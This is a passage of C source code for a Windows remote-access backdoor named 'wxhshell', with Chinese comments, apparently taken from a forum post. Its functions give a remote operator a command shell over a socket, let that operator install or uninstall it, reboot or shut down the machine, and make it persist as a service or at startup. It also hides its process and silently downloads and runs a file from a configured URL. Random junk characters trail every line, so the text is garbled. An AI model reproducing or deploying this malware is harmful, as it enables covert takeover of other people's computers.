      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kh{3s:RQfC  
    break; 98)C 7N'  
  } xmEom  
  // 安装 Y+o\?|q-E  
  case 'i': { $M j\ 3  
    if(Install()) UM#.`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o ^ \+Ua  
    else .P`QCH;Ih  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $}r.fji,c  
    break; Zxd*%v;  
    } ,v 2^Ui  
  // 卸载 BVj(Q}f8  
  case 'r': { liG|#ny{  
    if(Uninstall())  sa&`CEa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O_ZYm{T[7  
    else : 8j7}'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Vg=l[  
    break; rQ_]%ies8  
    } \@yJbhk  
  // 显示 wxhshell 所在路径 ^<qi&*  
  case 'p': { a??8)=0|}  
    char svExeFile[MAX_PATH]; !V(r p80  
    strcpy(svExeFile,"\n\r"); s*_fRf:  
      strcat(svExeFile,ExeFile); 1og+(m`BL  
        send(wsh,svExeFile,strlen(svExeFile),0); G&Dl($  
    break; 5 2 Qr  
    } (hdu+^Qj=  
  // 重启 SASLeGaV  
  case 'b': { jI0gf&v8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'e' p`*  
    if(Boot(REBOOT)) 7i{(,:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Ow2,{Nn  
    else { W;cY g.W2  
    closesocket(wsh); 79c M _O  
    ExitThread(0); Ncsh{.  
    } ;9WUt,R  
    break; <xF]ca  
    } },#7  
  // 关机 p}h.2)PO  
  case 'd': { : \qapFV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \o/eF&  
    if(Boot(SHUTDOWN)) x~R,rb   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I#M>b:"t e  
    else { Dw7Xy}I/  
    closesocket(wsh); 4bp})>}jB  
    ExitThread(0); '2i !RT-  
    } ^9Cu?!xu0  
    break; A7%/sMv  
    } 4oH ,_sr  
  // 获取shell :{ZwzJ  
  case 's': { Q!qD3<?5  
    CmdShell(wsh); *Cf!p\7!  
    closesocket(wsh); ppNMXbXR  
    ExitThread(0); NN=^4Xpc:  
    break; 23i2yT  
  } G`kz 0Vk  
  // 退出 U|Gy9"  
  case 'x': { __Ksn^I   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "O0xh_Nr  
    CloseIt(wsh); 8{/.1:  
    break; D>7J[ Yxg-  
    } J{prI;]K  
  // 离开 (YYg-@IO  
  case 'q': { Jy% ?"wn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OR!W3 @  
    closesocket(wsh); ![_0GFbT  
    WSACleanup(); xQDQgvwa  
    exit(1); J ffaT_"\  
    break; {4,],0bjx/  
        } w(aHB8T  
  } =#[oi3k  
  } ;m#4Q6k)V?  
h*C!b?:"  
  // 提示信息 [RN]?,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|*`} ;/y  
} N'9T*&o+  
  } e%L[bGW'  
;*<R~HJt  
  return; uO eal^uS  
} p> >H$t  
tkcs6uy  
// shell模块句柄 -qDqJ62mC  
int CmdShell(SOCKET sock) znTi_S  
{ 1<73uR&b%  
STARTUPINFO si; >8k Xa.)84  
ZeroMemory(&si,sizeof(si)); 8$A0q%n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ls:oC},p*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^M6lF5  
PROCESS_INFORMATION ProcessInfo; e 9RYk:O  
char cmdline[]="cmd"; 1J/'R37lP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $8UW^#Bpq  
  return 0; kt)Et  
} +sjzT[ Dn  
l;@+=uVDHm  
// 自身启动模式 w/ rQOHV{  
int StartFromService(void) y42 Cg  
{ aMY@**^v  
typedef struct ~[t#$2d}  
{ 3MNM<Ih  
  DWORD ExitStatus; "W%YsN0  
  DWORD PebBaseAddress; A| A#|D  
  DWORD AffinityMask; wV==sV  
  DWORD BasePriority; o4WQA"VxM  
  ULONG UniqueProcessId; aMhVO(+FW  
  ULONG InheritedFromUniqueProcessId; .cQO?UKK  
}   PROCESS_BASIC_INFORMATION; Y06^M?}  
4 O8ct,Y  
PROCNTQSIP NtQueryInformationProcess; iLuC_.'u=  
}8Y! -qX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7GsKD=bl]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ W8X g)  
Uc {m##!  
  HANDLE             hProcess; 8R3{YJ6@T  
  PROCESS_BASIC_INFORMATION pbi; xt?-X%oY8  
\Dq'~ d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rN} 8~j  
  if(NULL == hInst ) return 0; KoNu{TJ  
N~8H\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,.QJ S6Yv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8.B'O>\T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }^Q:Q\  
Mt-r`W3 q  
  if (!NtQueryInformationProcess) return 0; 1l#46?]~  
8A3/@Z;0S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #\lvzMjCC  
  if(!hProcess) return 0; F5 ]<=i  
j9[I6ko5'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $YEm(:v$  
-9t"$)&  
  CloseHandle(hProcess); F&czD;F  
:IS?si5|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5N|LT8P}Z  
if(hProcess==NULL) return 0; Cj8&wz}ez  
T[|#DMg$F  
HMODULE hMod; Ldz]FB|  
char procName[255]; z:#]P0  
unsigned long cbNeeded; `-pwP  
W7!gD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bgm8IK)6  
z.cDbkf}  
  CloseHandle(hProcess); "frZ%mv  
uxU-N  
if(strstr(procName,"services")) return 1; // 以服务启动 }Kgi!$<aQx  
XMI*obS'z  
  return 0; // 注册表启动 9u( pn`e 3  
}  9Bt GzI\  
nd8<*ru$  
// 主模块 )_jboaNzwI  
int StartWxhshell(LPSTR lpCmdLine) rS BI'op  
{ A{zqr^/h  
  SOCKET wsl; hc|A:v)]  
BOOL val=TRUE; NlEyT9  
  int port=0; :.*Q@X}-I  
  struct sockaddr_in door; CXrOb+  
a|u#w~  
  if(wscfg.ws_autoins) Install(); ZTzec zXpQ  
G7 UUx+X  
port=atoi(lpCmdLine); ['}|#3*w  
$?PI>9g!  
if(port<=0) port=wscfg.ws_port; ?l9sj]^w  
jV sH  
  WSADATA data; dA h cA.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $k\bP9  
lz0-5z+\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   , lR(5ZI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6LDZ|K@  
  door.sin_family = AF_INET; a20w.6F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ':4<[Vk  
  door.sin_port = htons(port); &}p\&4  
L }*o8l`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k _V+;&:%  
closesocket(wsl); D", L.  
return 1; J -z.  
} v8f3B<kj  
plWNuEW  
  if(listen(wsl,2) == INVALID_SOCKET) { SiaNL:  
closesocket(wsl); *B|hRZka1A  
return 1; aze#Cn,P}  
} 4@0aN6Os  
  Wxhshell(wsl); MeBTc&S<  
  WSACleanup(); DS(>R!bb  
mKe6rEUs|  
return 0; Cb+sE"x]  
-NwG' U~  
} {A0F/#M]  
:g|.x  
// 以NT服务方式启动 F-3=eKZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _;PQt" ]  
{ !}*vM@)1  
DWORD   status = 0; ;I*t5{  
  DWORD   specificError = 0xfffffff; kc2B_+Y1  
(sKg*G2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ExO#V9DaW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QfEJU8/5d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,9ueHE  
  serviceStatus.dwWin32ExitCode     = 0; "QOQ  
  serviceStatus.dwServiceSpecificExitCode = 0; g4WmUV#wp  
  serviceStatus.dwCheckPoint       = 0; vb~%u;zrC@  
  serviceStatus.dwWaitHint       = 0; ;&j'`tP  
)W\ )kDh!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wnX;eU/n  
  if (hServiceStatusHandle==0) return; viG=Ap.Th  
. \a+m  
status = GetLastError(); ]x metv|7  
  if (status!=NO_ERROR) Ms6 ;iW9  
{ pA.orx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T/|!^qLF  
    serviceStatus.dwCheckPoint       = 0; !hQ-i3?qm  
    serviceStatus.dwWaitHint       = 0;  GhfhR^P  
    serviceStatus.dwWin32ExitCode     = status; wetu.aMp  
    serviceStatus.dwServiceSpecificExitCode = specificError; gaXo)oS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`@cVYsL  
    return; Lmjd,t  
  } = cxO@Fu  
U[pHT _U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2*D2jw  
  serviceStatus.dwCheckPoint       = 0; F4\:9ws  
  serviceStatus.dwWaitHint       = 0; R WY>`.su  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bdh*[S\u@E  
} -4QZ/*  
)$^xbC#j`3  
// 处理NT服务事件,比如:启动、停止 3/vtx9D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \/1~5mQ+  
{ 2tK~]0x  
switch(fdwControl) l^R:W#*+U  
{ $CB&>?~  
case SERVICE_CONTROL_STOP: -J63'bb7oi  
  serviceStatus.dwWin32ExitCode = 0; 'n7|fjX?Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A/=cGE  
  serviceStatus.dwCheckPoint   = 0; jW#dUKS(  
  serviceStatus.dwWaitHint     = 0; w-WAgAch  
  { \)28,`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '~ b  
  } Qf0P"s`  
  return; %t_'rv  
case SERVICE_CONTROL_PAUSE: G:b6Wf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x%X3FbF]  
  break; &H# l*  
case SERVICE_CONTROL_CONTINUE: A&1EOQ=N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eJqx,W5MK]  
  break; yzfiH4  
case SERVICE_CONTROL_INTERROGATE: %u%;L+0Q[  
  break; ypM,i  
}; 6 T4"m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'dwsm7Xd  
} ; ]% fFcy  
9*iVv)jd  
// 标准应用程序主函数 1N _"Mm{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [uqr  
{ }%wP^6G*x\  
^e "4@O"  
// 获取操作系统版本 ,eebO~7vB  
OsIsNt=GetOsVer(); tz65Tn_M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #p=+RTZ<  
%+/v")8+?  
  // 从命令行安装 1<x5{/CZ  
  if(strpbrk(lpCmdLine,"iI")) Install();  e#5WX  
j\KOKvY)  
  // 下载执行文件 iU.` TqR7  
if(wscfg.ws_downexe) { EM<W+YU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u^C\aujg  
  WinExec(wscfg.ws_filenam,SW_HIDE); \t{4pobo  
} <EyJ $$  
d.ywH;  
if(!OsIsNt) { @ ~{TL  
// 如果时win9x,隐藏进程并且设置为注册表启动 f4<~_ZGr  
HideProc(); 7]u_  
StartWxhshell(lpCmdLine); ,FYA*}[  
} :Dr4?6hdr  
else :fX61S6)  
  if(StartFromService()) :OU(fz]  
  // 以服务方式启动 T:Q+ Z }v+  
  StartServiceCtrlDispatcher(DispatchTable); "nJMS6HJ[  
else uR")@Tc  
  // 普通方式启动 sfG9R"  
  StartWxhshell(lpCmdLine); B7A.~' =  
:zC=JvKT  
return 0; MeV4s%*O+  
}
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只看该作者 1 发表于: 2006-10-10
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